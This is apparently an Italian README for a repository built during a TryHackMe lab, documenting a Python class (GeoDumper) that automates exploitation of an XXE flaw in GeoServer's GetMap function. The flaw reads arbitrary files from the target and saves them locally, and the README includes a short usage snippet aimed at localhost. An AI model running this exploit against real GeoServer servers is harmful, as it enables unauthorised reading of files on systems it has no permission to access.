
Il codice e le informazioni contenuti in questo repository sono esclusivamente a scopo educativo e di ricerca. Il proprietario del repository non si assume alcuna responsabilità per qualsiasi cosa tu faccia con il codice e/o le informazioni presenti in questo repository. Le tue azioni sono di tua esclusiva responsabilità. Ti preghiamo di usarlo in modo legale e responsabile.
La classe Python3 nel file exploit/exploiter.py (GeoDumper) automatizza lo sfruttamento della vulnerabilità XXE e salva le informazioni esfiltrate in un file locale.
esempio:
import exploit.exploiter as exploiter
target_ip = "localhost"
secure = False
geoserver_path = "geoserver"
dumper = exploiter.GeoDumper(target_ip=target_ip, geoserver_path=geoserver_path, is_secure=secure)
(data, filename) = dumper.dump_file(target_file)
print(f"[+] data saved to \"{filename}\"")
print(f"[+] Data:\n{data.decode("utf-8")}")
La vulnerabilità in questione sfrutta un input XML non adeguatamente sanificato nella funzione GetMap, consentendo a un attaccante di leggere file arbitrari.
Ulteriori informazioni e spiegazioni/analisi più approfondite della vulnerabilità sono disponibili nei link seguenti.
nota: non ho scoperto la vulnerabilità né ho svolto alcuna ricerca in merito. Questo codice e repository sono stati creati mentre completavo la room associata su TryHackMe.